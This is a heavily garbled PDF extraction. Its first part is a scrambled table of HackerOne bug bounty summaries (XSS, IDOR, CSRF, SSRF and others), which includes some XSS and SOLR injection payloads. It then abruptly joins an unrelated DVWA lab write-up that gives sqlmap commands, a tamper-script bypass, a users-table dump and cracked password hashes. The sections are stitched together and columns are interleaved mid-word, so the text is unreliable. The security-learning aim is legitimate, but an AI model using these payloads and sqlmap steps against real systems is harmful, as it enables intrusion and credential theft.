2 Logi 1
other filetypes and content) can be concealed as Sla
4 c
normal content, like .csv files by including illegal
5
ck
com/
2 bug 0 reports/
characters as content.
0
833080
https://
$ Sta hackerone.
2
XSS through unsafe URI handling in ASP.net on 5 rb
4 XSS
base starbucks.com domain 0 uc
com/
3 reports/
0 ks
881115
https://
Bru $ hackerone.
2 Tw
tef User passwords can be brute forced due to lack of 7
4
orc rate limiting 0
itt com/
4 er reports/
e 0
854424
https://
$ hackerone.
2
CSR CSRF allowing an attacker to import any novel to 5 Pix
4
F the victims chatstory (pixiv service) 0 iv
com/
6 reports/
0
534908
Imp
rop $ https://
2FA bypass by not supplying a 2FA code. Likely Gl hackerone.
2 er 1
lack of null check. Vulnerable request is likely ass
4 Aut
something like
0
do
com/
7 hen 0 reports/
this: "email":"attack@lol.com","2FA":"" or
tica 0
897385
tion
$ https://
Users are able for forge requests, leading to being Inn hackerone.
2 Logi 1
able to spawn additional units at will. This is done oG
4 c
through (what looks like) a leaked secret and a
1
am
com/
8 Bug 0 reports/
lack of proper server side validation. es
0
802636
Op Lo https://
$ hackerone.
2 en cal
Open redirect requiring user to click in order to 1
4 Red
work 0
Ta com/
9 irec pio reports/
0
t la
194017
Ins
ecu
$ https://
re hackerone.
2 1 Git
desi CodeQL query to check for improper SSL
5
gn certificates
8 Hu com/
0 0 b reports/
prin
0
cipl 917454
es
Ro https://
/community/create-post.js was vulnerable to $ cks hackerone.
2
CSR CSRF attacks, allowing an attacker to spam the 1 tar
5
F community boards as other users. This attack was 5 Ga
com/
3 reports/
only possible through Chrome. 0 me
s 487378
https://www.rockstargames.com/reddeadonline/
Ro https://
$ cks hackerone.
2 feedback/submit.json was vulnerable to CSRF
CSR 1 tar
5
F
attacks and could be exploited through a remote
5 Ga
com/
4 server. This attack was only possible through reports/
0 me
Chrome.
s 796295
TT
LFI of files with .md extension S https://
$ hackerone.
2 from /var/www/dashboard/new/ was possible. In Bu
3
5 LFI addition, remote file inclusion from github was
0
g com/
5 possible due to the default value of $docs_path, Bo reports/
0
leading to XSS. un
895972
ty
https://
$ Ne hackerone.
2 Logi
Unlimited file upload in the image assigned to a 1 xtc
5 c
contact leads to XSS by uploading malicious SVG. 0 lou
com/
6 Bug reports/
0 d
808287
CRL https://
$ Ne hackerone.
2 F Malicious users (non-admins) can write to
1 xtc
5 Inje memcached when using a malicious URL as a
0 lou
com/
7 ctio share. reports/
0 d
n
592864
HTT
P
CL.TE based request smuggling on api.zomato.com $ https://
Req hackerone.
2 leading to account takeover among other issues. 5 Zo
ues
5
t
This issue was only reproducible when using the 0 ma com/
8 DELETE verb. As such, make sure to test for all 0 to reports/
Sm
HTTP verbs when checking for Request Smuggling 0
ugg 771666
ling
https://
Reflected XSS $ Au hackerone.
2
on https://www.tumblr.com/abuse/start? 2 to
5 XSS
prefill=<base64PL>. It only works on Firefox 5 ma
com/
9 reports/
version 69 or lower. 0 ttic
915756
$ https://
CodeQL query to detect insecure use of hackerone.
2 Logi 1 Git
postMessage. It checks if indexOf or startsWith is
6 c
used to check MessageEvent.origin, which can
8 Hu com/
0 Bug 0 b reports/
lead to XSS or other issues.
0
920285
M https://
$ hackerone.
2 DoS by sending many requests to apply for a axi
1
6 DoS certain job, due to relying on responses from a 3rd
0
m com/
1 party server before returning. u reports/
0
m
892615
Imp
rop M https://
https://werkenbijderet.nl/vacature-alert endpoint $ hackerone.
2 er axi
did not have proper rate limiting implemented, 1
6 aut
leading to being able to send thousands of mails 0
m com/
3 hen u reports/
within 10 minutes. 0
tica m
882942
tion
TT
S https://
Being able to call all internal classes, functions and $ hackerone.
2 Bu
SSR parameters due to everything being declared 3
6
F public. This leads to blind SSRF through Gopher 0
g com/
4 Bo reports/
protocol. 0
un
895696
ty
https://
2 $ He hackerone.
IDO Read only user can delete other users through
6
R IDOR
5 liu com/
5 0 m reports/
888729
https://
$ hackerone.
2 M
3
6 XSS Reflected XSS in GET parameter
0
ail. com/
7 ru reports/
0
848742
Info https://
$ hackerone.
2 rma M
Bot Token for ICQ was leaked in GIT commit data 1
6 tion
for opensource JIRA plugin 5
ail. com/
9 lea ru reports/
0
k
902064
https://
$ hackerone.
2 Logi M
It was possible to create accounts with nicknames 1
7 c
belonging to existing accounts 5
ail. com/
0 bug ru reports/
0
824973
$ https://
2 Viewing a malicious SVG lead to access to local 1 M hackerone.
7 XSS files (LFI?) on certain iOS versions due to cross- 0 ail. com/
1 application scripting in the Mail.ru iOS Mail app 0 ru reports/
0
900543
Rac https://
$ hackerone.
2 e
Malicious applications could create multiple valid 2 Ra
7 Con
OAUTH sessions by abusing a race condition. 5 zer
com/
2 diti reports/
0
on
699112
https://
$ hackerone.
2 Sh
IDO IDOR in the stocky application allows for changing 7
7
R columns of other users 5
opi com/
3 fy reports/
0
853130
Imp
rop https://
The Stocky application did not have any $ hackerone.
2 er Sh
permission checks to download purchase orders, 5
7 aut
leading to anyone being able to download the 0
opi com/
5 hen fy reports/
orders. 0
tica
802286
tion
$ https://
2 1 M hackerone.
Stored XSS in admin interface through "evaluation
8 XSS
of purchase process"-window
5 ail. com/
0 0 ru reports/
0
874387
$ https://
2 Logi GraphQL query for finding incorrect hostname 1 Git hackerone.
8 c comparison. This is especially prevalent in Android 5 Hu com/
2 bug applications. 0 b reports/
0
929288
https://
$ No hackerone.
2 Logi
Misconfiguration lead to being able to get 7 rd
8 c
SmartDNS for free for longer than it should be. 0 VP
com/
3 bug reports/
0 N
925757
https://
$ Sta hackerone.
2
XXE on starbucks.com.sg/RestAPI/* leading to 5 rb
8 XXE
arbitrary file read 0 uc
com/
4 reports/
0 ks
762251
Info https://
rma $ Po hackerone.
2
tion It was possible to view thumbnails of private 7 rn
8
Disc videos through attacking the API 5 hu
com/
6 reports/
los 0 b
ure 138703
$ Ha https://
2 Improper handling of renaming HackerOne groups 2 ck hackerone.
8 DoS for managing access rights for programs, leads to 5 er com/
7 excessive resource use which may lead to DoS 0 On reports/
0 e
880187
Ku https://
$ hackerone.
2 be
DoS through recursive evaluation. Can be done 2
8 DoS
remotely by an attacker with elevated privileges. 0
rn com/
8 et reports/
0
es
882923
Use
Grammarly Keyboard for Android used weak $ https://
of Gr hackerone.
2 PRNG allowing a malicious app installed on the 2
we am
9
ak
device to guess the PKCE code value and steal the 0
ma
com/
0 OAUTH access token of a user. Fixed by changing 0 reports/
PR rly
to SecureRandom 0
NG 824931
https://
$ hackerone.
2 Tw
DoS of account (for Chrome) when viewing a 5
9 DoS
tweet containing the link twitter.com/%00 6
itt com/
2 er reports/
0
921286
https://
$ IR hackerone.
2
IDO IDOR allows user to access pictures from other 2 RCl
9
R users, including EXIF data. 0 ou
com/
3 reports/
0 d
906907
https://
$ hackerone.
2 Phi Ability to spoof interface elements through adding M
1
9 shi tags or attributes in calendar events at
5
ail. com/
5 ng calendar.mail.ru ru reports/
0
847473
Cod $ https://
2 e 2 Git hackerone.
CodeQL query for detecting possible template
9 inje
injections in Python
3 hu com/
6 ctio 0 b reports/
n 0
944359
https://
By adding a link in a post and manually editing out $ Au hackerone.
2
a portion (denied:), then reblogging the post, the 3 to
9 XSS
XSS will execute after the victim clicks the link (on 5 ma
com/
7 reports/
the reblogged post). 0 ttic
882546
$ https://
An SQL Injection existed in a Razer Gold asset due hackerone.
2 2
SQL to using an outdated instance of PHPlist. The Ra
9
i injection point is the body parameter name and
0
zer
com/
9 0 reports/
not the value!
0
824307
Co $ https://
mm 1 M hackerone.
3 AWS S3 bucket takeover of multiple buckets. The
and 2, ap
0
inje
buckets were still referenced in a test script and as
5 bo
com/
2 such could have resulted in RCE. reports/
ctio 0 x
n 0 329689
https://
$ hackerone.
3 Login CSRF via OATH code in lootdog.io allows an M
CSR 1
0
F
attacker to replace a user's session with the
5
ail. com/
3 attackers session. ru reports/
0
892986
No
de.
js
thi https://
Due to relying on AJV, and also $ hackerone.
3 rd-
using allErrors:true, Fastify is vulnerable to DoS 2
0 DoS
when there is potentially slow matching patterns 5
pa com/
4 rty reports/
or if uniqueItems is in the schema. 0
m
903521
od
ule
s
https://
By submitting a very long password, the hashing $ Ne hackerone.
3
algorithm on the server will take a lot of resources 1 xtc
0 DoS
and potentially result in DoS due to memory 0 lou
com/
5 reports/
exhaustion. 0 d
840598
Op Vis https://
Reverse tabnabbing (changing location of the $ hackerone.
3 en ma
original page page when opening a link in a new 1
0 Red
tab) was possible in the printing source document 0
Pu com/
7 irec bli reports/
images functionality. 0
t c
911123
Ru https://
When creating a hash, the permit function does $ hackerone.
3 Logi by
not sufficiently protect when converting 5
0 c
using .each(), allowing for sneaking in additional 0
on com/
9 bug Rai reports/
parameters that should not logically be present 0
ls
292797
Null
Op
poi
$ en https://
nte hackerone.
3 1 -
r A lack of proper checks for user supplied data
1
der results in a null pointer dereference.
5 Xc com/
0 0 ha reports/
efer
0 ng
enc 827729
e
e
Op
Use en https://
Due to incorrectly decreasing a reference counter, $ hackerone.
3 Aft -
by sending a lot of newline characters ("\n") you 5
1 er
can reach code checking the cmd-variable which 0
Xc com/
1 Fre ha reports/
has previously been freed. 0
e ng
827051
e
https://
$ hackerone.
3 M
IDO Could disclose attributes of arbitrary sites due to a 7
1
R IDOR in relap.io 5
ail. com/
3 ru reports/
0
749887
$ https://
3 By uploading a PNG with JS and XML code, and 1 Git hackerone.
1 XSS adding it to a Wiki page, it was possible to achieve 5 La com/
4 stored XSS 0 b reports/
0
880099
$ https://
3 2 Git hackerone.
Stored XSS through the blob-viewer. The payload
1 XSS
is in the description field.
0 La com/
6 0 b reports/
0
806571
$ https://
Chaining redirects in grafana allows for SSRF using 1 hackerone.
3 Git
SSR any HTTP verb to any arbitrary endpoint. For more 2,
1
F information, see Rhynorater's talk at HactivityCon 0
La com/
7 b reports/
2020. 0
0 878779
https://
$ hackerone.
3 Logi Zo
Ability to decrease payment by maximum 1 1
2 c
currency unit (0.99) for any purchase 5
ma com/
0 bug to reports/
0
927661
Imp
rop Vis https://
$ hackerone.
3 er ma
Access control issue due to not correctly checking 1
2 acc
permissions in the active session for the user 0
Pu com/
1 ess bli reports/
0
con c
812143
trol
Info https://
$ hackerone.
3 rma Ability to see error message related to character Un
1
2 tion encoding from SQL operation by adding the poop-
0
ikr com/
2 lea emoji to the email field during registration n reports/
0
k
866271
https://
SQL $ hackerone.
3 Zo
Inje 1
2
ctio
SOLR injection through adding \to the query.
0
ma com/
3 to reports/
n 0
844428
Imp
rop
The food.grammarly.io site uses Meter
$ https://
framework, and is lacking proper authorization for Gr hackerone.
3 er 1
sensitive endpoints. The attacker could leak user am
2 acc
data and employee data, including access tokens,
0
ma
com/
6 ess 0 reports/
by calling the functions directly from JS (for rly
con 0
example in dev tools) 745495
trol
Spe
cial
SOLR injection similar to #324, but on a different https://
ele $ hackerone.
3 endpoint. PoC :v2/red/homepage.json? Zo
me 1
2
nt
lat=&lon=&city_id={!
5
ma com/
8 dismax+df=city_id}86&android_country=US&lang to reports/
inje 0
=en&android_language=en
ctio 953203
n
Mis
Vis https://
sing $ hackerone.
3 Missing authorization checks lead to a user only ma
aut 2
2
hori
allowed to do sales being able to record payments
5
Pu com/
9 he was not supposed to bli reports/
zati 0
c
on 919008
Git
$ hu https://
3 1 b hackerone.
SSR CodeQL query for detecting SSRF issues in Golang
3
F libraries and code
8 Se com/
0 0 cur reports/
0 ity
956296
lab
Git
LDA $ hu https://
3 P CodeQL query for detecting LDAP injections in 2 b hackerone.
3 Inje Java, supporting Java JNDI, UnboundID, SPring 5 Se com/
1 ctio LDAP and Apache LDAP API 0 cur reports/
n 0 ity
956295
lab
$ https://
Stored XSS through the chartbuilder Ne hackerone.
3 2
in one.newrelic.com. Payload: SELECT '“><img w
3 XSS
src=x onerror=alert(document.domain)> "'
5
Rel
com/
2 0 reports/
Style=position\' FROM SyntheticCheck ic
0
634692
Info https://
Able to view full name of users who are not yet $ Ne hackerone.
3 rma
part of your account. This can be achieved by 7 w
3 tion
creating a note, viewing it and trying to share it 5 Rel
com/
3 lea reports/
with the invited account. 0 ic
k
476958
Priv https://
ileg $ Ne hackerone.
3 Restricted users are able to delete Key transaction
e 7 w
3
esc
tags through the GUI even though they should
5 Rel
com/
4 only have READ-access. reports/
ala 0 ic
tion 638685
$ https://
Ne hackerone.
3 Access to a subset of a victims Insights 1
IDO w
3
R
Dashboards through a GraphQL query with 5
Rel
com/
6 insufficient validation 0 reports/
ic
0
765565
$ https://
Ne hackerone.
3 Logi 2
Ability to buy PRO subscriptions for reduced prices w
3 c
by tampering the pr. unit price
0
Rel
com/
7 bug 3. reports/
ic
5
783688
Imp
rop https://
$ Ne hackerone.
3 er Restricted users are able to delete NerdStorage
6 w
3 acc documents created/owned by any user on that
0 Rel
com/
8 ess account, through GraphQL query. reports/
0 ic
con
766145
trol
Imp
rop https://
A restricted user was able to update the Aodex $ Ne hackerone.
3 er
target for an application by abusing a GraphQL 6 w
3 acc
mutation without proper validation and 2 Rel
com/
9 ess reports/
authorization 6 ic
con
776449
trol
Viol
atio
n of https://
sec It was not possible to delete API keys in the $ Ne hackerone.
3
ure application, even though the GUI said it was 5 w
4
desi possible and the action succeeded. This was true 0 Rel
com/
0 reports/
gn even for users with an Admin/Owner role. 0 ic
prin 782703
cipl
es
Cod
By abusing a CSRF vulnerability in the admin https://
panel, the reporters were able to achieve stored $ Ne hackerone.
3 e
XSS. Then, using the stored XSS vulnerability, they 5 w
4 inje
managed to escalate the vulnerability to RCE. The 0 Rel
com/
1 ctio reports/
attack required Social Engineering of a Wordpress 6 ic
n
Admin (to click the initial link) to be successful 941421
Imp
rop https://
A test endpoint for Synthetic monitors was found $ Ne hackerone.
3 er
by the reporter. It did not validate permissions of 5 w
4 acc
the user, causing low privileged users to be able to 0 Rel
com/
2 ess reports/
create monitors using Secure Credentials 0 ic
con
788499
trol
https://
$ Ne hackerone.
3 The reporter found a way to link an account with
IDO 6 w
4
R
any Partnership as long as the ID was known. It
9 Rel
com/
3 was resolved by adding proper validation. reports/
5 ic
786109
Imp
rop https://
$ Ne hackerone.
3 er
Restricted users are able to create, edit and 7 w
4 acc
remove tags from the NerdGraph entities. 5 Rel
com/
5 ess reports/
0 ic
con
757957
trol
3 XSS Stored XSS in the "Position" field when applying $ Inn https://
4 for "Support/Moderator" jobs at 5 og hackerone.
6 recruit.innogames.de 0 am
0 es
com/
reports/
917250
$ https://
An endpoint for testing Synthetics monitors Ne hackerone.
3 2
IDO without proper validation allowed monitors from w
4
R other accounts to run on your account, given that
5
Rel
com/
7 0 reports/
they knew the monitors ID (on victims account) ic
0
787886
$ https://
Ne hackerone.
3 Stored XSS in the transactionName field of the 2
w
4 XSS Beta map functionality. PoC is a simple "- 5
Rel
com/
9 alert(document.domain)-" 0 reports/
ic
0
667770
Me https://
mo Missing best practices like having ASLR (Address Ne hackerone.
3 $
ry Space Layout Randomization), DEP (Data xtc
5
Cor Execution Prevention) and CFG (Control Flow
5
lou
com/
4 0 reports/
rup Guard) enabled is lacking d
tion 380102
https://
Denial of Service by poisoning the cache with $ Au hackerone.
3
invalid CORS Header, due to an endpoint echoing 2 to
5 DoS
back and setting the CORS Allow-OriginHeader to 0 ma
com/
5 reports/
the supplied "origin" value. 0 ttic
921704
https://
$ hackerone.
3 Git
SSR SSRF in PlantUML staging server, due to accepting 1
5
F the !include function. 0
La com/
8 b reports/
0
689245
W https://
$ hackerone.
3 or
Stored XSS due to improper filtering of attributes 6
5 XSS
after admin has edited them. 5
dP com/
9 res reports/
0
s
633231
W https://
$ hackerone.
3 Stored XSS due to improper filtering of attributes or
6
6 XSS after admin has edited them. Different case from
5
dP com/
0 #359 res reports/
0
s
497724
$ https://
3 3 Sh hackerone.
Stored XSS in First and Last Name field for "Staff"
6 XSS
account
0 opi com/
1 0 fy reports/
0
948929
Priv
$ https://
ileg An attacker can register an account with an email, hackerone.
3 1 Sh
e get permissions and then be deleted. After being
6
Esc deleted, by accessing accounts.shopify.com with
0 opi com/
2 0 fy reports/
ala the now deleted account, you still have access.
0
tion 870001
Info
$ https://
rma hackerone.
3 By first getting an API key, then querying for 1 Sh
tion
6
disc
specific data, staff members can access data they 0 opi com/
4 are not supposed to have access to. 0 fy reports/
los
0
ure 901775
Info https://
rma $ hackerone.
3 Sh
tion Users without any permission can access certain 5
6
disc store information through GraphQL query. 0
opi com/
5 fy reports/
los 0
ure 409973
https://
Reflected XSS through $ Sta hackerone.
3
the skuNo & skuImgUrl parameters 2 rb
6 XSS
at https://www.istarbucks.co.kr/app/getGiftStock. 5 uc
com/
6 reports/
do 0 ks
768345
Imp
rop https://
$ hackerone.
3 er Sh
Password reset link can be used to reset password 5
6 acc
multiple times. 0
opi com/
7 ess fy reports/
0
con
898841
trol
https://
The last 4 digits of a registered credit card could $ hackerone.
3
IDO be obtained through error messages on 5 Yel
6
R the /profile_payment/saveendpoint by abusing an 0 p
com/
8 reports/
IDOR 0
361984
$ https://
3 An IDOR allowed an attacker to order food on 2 hackerone.
IDO Yel
6
R
GrubHub by using someone elses credit card on 5
p
com/
9 the /checkout/transaction_platform endpoint. 0 reports/
0
391092
Buff https://
$ hackerone.
3 er By loading a malicious map-file (.bsp) an attacker
4 Val
7 Ove can achieve RCE on any victim, if they load the
5 ve
com/
2 rflo map. This works on any GoldSrc game reports/
0
w
763403
Buff https://
The spk console command has no length check $ hackerone.
3 er
before copying it into a stack based buffer, leading 3 Val
7 Ove
to being able to achieve RCE by having a victim 5 ve
com/
3 rflo reports/
load a malicious .cfg file. 0
w
769014
$ https://
An IDOR when creating shipping labels allows an hackerone.
3 1 Sh
IDO attacker to request print labels (and I assume see
7
R the information related to the order) for stores he
0 opi com/
4 0 fy reports/
does not have access to.
0
884159
Imp
rop
The getLoginStatus call in Digits allows an attacker
$ https://
to retrieve OAuth Credentials for any account, due hackerone.
3 er 5 Tw
to improperly verifying domains by utilizing the
7 aut
referer header. If this header was empty, the
0 itt com/
5 hen 4 er reports/
application considered the request valid, which
tica 0
was the issue. 168116
tion
Git
Info
$
hu https://
rma b hackerone.
3 1
tion CodeQL query to detect logging of potentially Se
7
disc sensitive information in JS based applications
8
cur
com/
6 0 reports/
los ity
0
ure La 963816
b
Git
Info
$
hu https://
rma CodeQL query to detect basic authentication over b hackerone.
3 2
tion HTTP in java.net and Apache HttpClient libraries. Se
7
disc This is vulnerable due to basic auth only using
3
cur
com/
7 0 reports/
los base64 encoding and being easily reversible. ity
0
ure La 963815
b
No
de
JS
3r https://
$ hackerone.
3 d
Lodash V.4.17.15 was vulnerable to prototype 2
7 DoS
pollution, allowing for potential DoS. 5
pa com/
8 rty reports/
0
m
864701
od
ule
s
UI
Red https://
ress $ hackerone.
3
ing Multiple endpoints were vulnerable to 5 Yel
8
(Cli clickjacking. 0 p
com/
0 reports/
ckja 0
ckin 305128
g)
UI
Red https://
ress Clickjacking was possible on $ hackerone.
3
ing the /reservations endpoint, possibly allowing an 5 Yel
8
(Cli attacker to leak information of a victim or 0 p
com/
1 reports/
ckja incurring monetary loss for the victim 0
ckin 355859
g)
Info
Ha https://
rma It is possible to disclose all details about all $ hackerone.
3 ck
tion pentesters invited to a test, regardless if they 5
8
disc accepted or not. This allows leaking sensitive 0
er com/
2 On reports/
los information. 0
e
ure 958374
$ https://
Ne hackerone.
3 2
Stored XSS through the dashboard builder within w
8 XSS
New Relic One.
5
Rel
com/
3 0 reports/
ic
0
626082
Priv https://
ileg $ Ne hackerone.
3 Synthetics did not have the matching permissions
e 7 w
8
Esc
compared to other functionality, allowing for
5 Rel
com/
4 users to have higher privileges than intended. reports/
ala 0 ic
tion 387290
$ https://
Stored XSS via role name in JSON chart, which was Ne hackerone.
3 2
part of a prerelease UI. Payload w
8 XSS
was: /*\"<sVg/oNloAd=alert(document.domain)//
5
Rel
com/
6 0 reports/
>\x3e ic
0
520630
Imp
rop https://
Restricted users were able to delete filter sets $ Ne hackerone.
3 er
used by admin users in 2 w
8 aut
https://infrastructure.newrelic.com/accounts/{{A 5 Rel
com/
7 hen reports/
CC#}}/settings/filterSets 0 ic
tica
202501
tion
Priv
$ https://
ileg By being invited as a staff member and becoming hackerone.
3 1 Sh
e a partner, then revoking said permission, the
8
esc previous account still has access to the partner
5 opi com/
8 0 fy reports/
ala store (? Hard to understand from report)
0
tion 911857
$ https://
3 It is possible to achieve stored XSS when creating 1 Sh hackerone.
8 XSS a menu item. The XSS fires when you try to delete 0 opi com/
9 said item. 0 fy reports/
0
887879
Info
$ https://
rma Staff members with No Permission could not hackerone.
3 1 Sh
tion access data through web, but by using the
9
disc Android application the member can access Order
0 opi com/
0 0 fy reports/
los Details via the exchangeReceiptSend call
0
ure 917875
Priv https://
ileg $ hackerone.
3 A malicious admin can create additional admin Sh
e 5
9
esc
accounts without notifying / it being visible to
0
opi com/
1 other admins. fy reports/
ala 0
tion 962895
Pat https://
$ hackerone.
3 h It is possible to use path traversal in order to Sh
5
9 trav access arbitrary paths on the OAuth app as an
0
opi com/
2 ers anonymous user fy reports/
0
al
869888
Viol
atio
n of
Ha https://
sec $ hackerone.
3 If you change country information in Account ck
ure 5
9
desi
settings, hackerone does not send you a "Your
0
er com/
3 profile was recently changed" notification email. on reports/
gn 0
e
prin 961841
cipl
es
Info
$ https://
rma hackerone.
3 By fetching a valid token from another store, it 1 Sh
tion
9
disc
was possible to bypass the password-restriction 5 opi com/
4 on stores in preview mode. 0 fy reports/
los
0
ure 961929
W https://
By setting the name of the folder containing a $ hackerone.
3 or
broken theme to a XSS payload, XSS can be 3
9 XSS
achieved. This requires installing an attacker- 0
dP com/
5 res reports/
supplied theme or write-access to the file system. 0
s
406289
Imp
rop
Script Editor tokens do not expire and thus, scripts
$ https://
can still be edited and added if you have the hackerone.
3 er 2 Sh
token, even if the Script Editor application is
9 acc
uninstalled. The scripts can also no longer be seen
0 opi com/
7 ess 0 fy reports/
or edited unless manually accessing/calling the
con 0
API if the script is renamed to an empty character. 915940
trol
Info
Vis https://
rma $ hackerone.
3 Within the same company, it was possible to ma
tion 1
9
disc
access data one should not be able to, when
0
Pu com/
8 having the Auditor role. bli reports/
los 0
c
ure 959897
Priv https://
ileg By navigating directly to the relevant endpoints $ Ne hackerone.
3
e instead of relying on the UI, and restricted user is 7 w
9
Esc able to create integrations with AWS, even though 5 Rel
com/
9 reports/
ala his role forbids this. 0 ic
tion 255685
Priv https://
ileg By logging in to New Relic Synthetics with no $ Ne hackerone.
4
e permissions, observing calls allows you to identify 7 w
0
Esc a call returning all data about the monitor's and 5 Rel
com/
0 reports/
ala permissions for the group. 0 ic
tion 320689
Imp
rop Ha https://
$ hackerone.
4 er The jira_status field has an issue ck
5
0 acc with sort_by allowing an attacker to see if a report
5
er com/
8 ess is using Jira or not. on reports/
0
con e
955286
trol
Vis https://
$ hackerone.
4 ma
2
0 XSS Stored XSS on eaccounting.stage.vismaonline.com
5
Pu com/
9 bli reports/
0
c
897523
Ru https://
Due to disclosing part of the authenticity token $ hackerone.
4 by
CSR used to generate csrf tokens. Using this, an 5
1
F attacker can generate valid CSRF tokens for any 0
on com/
0 Rai reports/
arbitrary route. 0
ls
732415
Imp
rop $ https://
Ability to publish any theme for free, by extracting hackerone.
4 er 2 Sh
the ID of the paid theme, and then intercepting
1 acc
the update to a free theme and replacing that ID
0 opi com/
1 ess 0 fy reports/
with the ID of the paid theme.
con 0
927567
trol
Info https://
rma $ hackerone.
4 Config files were accessible for M
tion 1
1
disc
warofdragons.my.games, leaking database
5
ail. com/
8 credentials and other information ru reports/
los 0
ure 786609
Ru https://
$ hackerone.
4 It is possible to achieve stored XSS if an attacker by
5
2 XSS can upload files using Active storage, by utilizing
0
on com/
0 the proxy-functionality included in Ruby on Rails. Rai reports/
0
ls
949513
https://
$ hackerone.
4 It was possible to achieve stored XSS in the Post Im
2
2 XSS title on Imgur. This was achieved using a
5
gu com/
1 standard "><svg payload. r reports/
0
942859
$ https://
Email bypass for shopify accounts that did not 2 hackerone.
4 Logi Sh
have Shopify IDs. This allowed an attacker to 2,
2 c
exploit a flaw in the flow, allowing for taking over 5
opi com/
2 bug fy reports/
these accounts without any verification. 0
0 867513
4
Browser-dependent DoS by injecting invalid
2 DoS
link: http://twitter.com:627732462
4
bash
Copy
This injects a command that causes the server to wait for 5 seconds before
responding, which is a typical behavior of time-based blind injections.
o Union-Based SQL Injection:
The id parameter is also found to be vulnerable to Union query injection, which
allows the attacker to combine results from different queries, potentially
exposing data from the database. The specific payload used for this test is:
scss
Copy
In Conclusion:
The output indicates that the target web application is vulnerable to SQL injection attacks, specifically:
Time-based blind SQL injection, which allows for extracting information from the database by
analyzing response delays.
Union-based SQL injection, allowing for potentially extracting database names, tables, and data.
The MySQL database is being used on a Linux Debian server.
Back-End DBMS: The attack continues on the target using MySQL, which is confirmed to be the
backend database.
Injection Points Identified: The tool continues exploiting the time-based blind and Union query
injection vulnerabilities on the id parameter in the URL.
Database: The tool checks the dvwa database (likely Damn Vulnerable Web Application, a
platform for testing vulnerabilities).
Tables Found: Two tables were discovered within the dvwa database:
o guestbook
o users
Fetching Columns: The tool extracts the columns for the users table.
Fetching Data: Then it fetches all the entries (data) from the users table.
The tool detects password hashes in the password column of the users table and asks if you
want to crack them.
Hashes Cracked: The following hashes are cracked successfully:
o 5f4dcc3b5aa765d61d8327deb882cf99 → password
o e99a18c428cb38d5f260853678922e03 → abc123
o 8d3533d75ae2c3966d7e0d4fcc69216b → charley
o 0d107d09f5bbe40cade3de5c71e9e9b7 → letmein
The users table data is successfully dumped into a CSV file (users.csv) located in the
/root/.local/share/sqlmap/output/127.0.0.1/dump/ directory.
The data dumped includes the following fields for each user:
o user_id
o user (username)
o avatar (user avatar URL)
o password (hashed password)
o last_name
o first_name
o last_login (last login time)
o failed_login (failed login attempts)
Conclusion:
The SQL injection vulnerability has been successfully exploited, allowing access to sensitive data
in the users table, including usernames and password hashes.
Password hashes have been cracked, revealing the actual passwords for users, such as:
o admin → password
o gordonb → abc123
o 1337 → charley
o pablo → letmein
o smithy → password
This information could be used for further attacks, such as privilege escalation, brute-forcing other
parts of the application, or gaining unauthorized access.
Medium level
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="security=medium; PHPSESSID=7pv9k5iprb9di4mh2gn6s8gkdd" --level=5 --risk=3 –batch
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="security=medium; PHPSESSID=7pv9k5iprb9di4mh2gn6s8gkdd" --batch --
tamper=space2comment
Tampering Module: The space2comment tamper script was used in this attempt. The purpose
of this script is to modify the query payload by replacing spaces with comments to bypass
certain filtering mechanisms that might interfere with SQL injection.
Session and URL: The injection point was tested again for the same URL
(http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit) but this time with a
different cookie (security=medium), which likely reflects a different security level set in the
DVWA application.
Injection Information:
o The injection type was again detected as time-based blind and UNION query (NULL),
with the same payloads being used.
o SLEEP(5) was used in the time-based blind injection, confirming the vulnerability was
present.
Database and Application Information:
o The database management system (DBMS) is confirmed as MySQL (with a MariaDB
fork).
o The application is running on Linux Debian and using Apache 2.4.62.
Warning: It mentions that your sqlmap version is outdated, so you may want to update to get
the latest features and bug fixes.
Outcome:
The process finished without fetching any new specific data in this attempt, but the logs indicate
that the database is still accessible, and the SQL injection vulnerability remains exploitable.
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="security=medium; PHPSESSID=7pv9k5iprb9di4mh2gn6s8gkdd" –dbs
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="security=medium; PHPSESSID=7pv9k5iprb9di4mh2gn6s8gkdd" -D dvwa -T users –dump
1. Database Names Retrieval:
The tool successfully fetched these database names, confirming access to the MySQL database server.
The password hashes for each user are shown, and sqlmap was able to identify the hash values
for passwords such as password, abc123, charley, and letmein.
The tool then proceeded to dump the data to a CSV file, successfully saving the information into
the file located at:
lua
Copy
/root/.local/share/sqlmap/output/127.0.0.1/dump/dvwa/users.csv
3. Password Cracking:
The tool attempted to crack the identified password hashes using dictionary-based attacks.
It identified and cracked the following passwords:
o password (hash 5f4dcc3b5aa765d61d8327deb882cf99)
o abc123 (hash e99a18c428cb38d5f260853678922e03)
o charley (hash 8d3533d75ae2c3966d7e0d4fcc69216b)
o letmein (hash 0d107d09f5bbe40cade3de5c71e9e9b7)
A warning was issued that your sqlmap version is outdated. It's advisable to update to the latest
version for better performance and security.
Summary:
Data Extracted: The users table data, including usernames, passwords, and other information,
was successfully dumped.
Password Cracking: Several user passwords were successfully cracked.
Result: The entire process was successful in extracting sensitive data from the vulnerable
application (DVWA) using SQL injection.
HEIGH level
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=high; PHPSESSID=7pv9k5iprb9di4mh2gn6s8gkdd" \
sqlmap attempted to fetch table names for both the dvwa and information_schema databases
but faced several issues, including HTTP error codes (500 Internal Server Error) and problems
with union queries.
Despite these issues, sqlmap continued and managed to retrieve columns and entries for the
users table in the dvwa database.
The password hashes were identified and successfully cracked using a dictionary-based attack,
revealing the plaintext passwords for the users:
o password (hash 5f4dcc3b5aa765d61d8327deb882cf99)
o abc123 (hash e99a18c428cb38d5f260853678922e03)
o charley (hash 8d3533d75ae2c3966d7e0d4fcc69216b)
o letmein (hash 0d107d09f5bbe40cade3de5c71e9e9b7)
The data from the users table was successfully dumped into a CSV file, located at:
lua
Copy
/root/.local/share/sqlmap/output/127.0.0.1/dump/dvwa/users.csv
Impossible
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?
id=1&Submit=Submit&user_token=820746f683342b85231b97b2faf31407" \
Introduction
Requirements
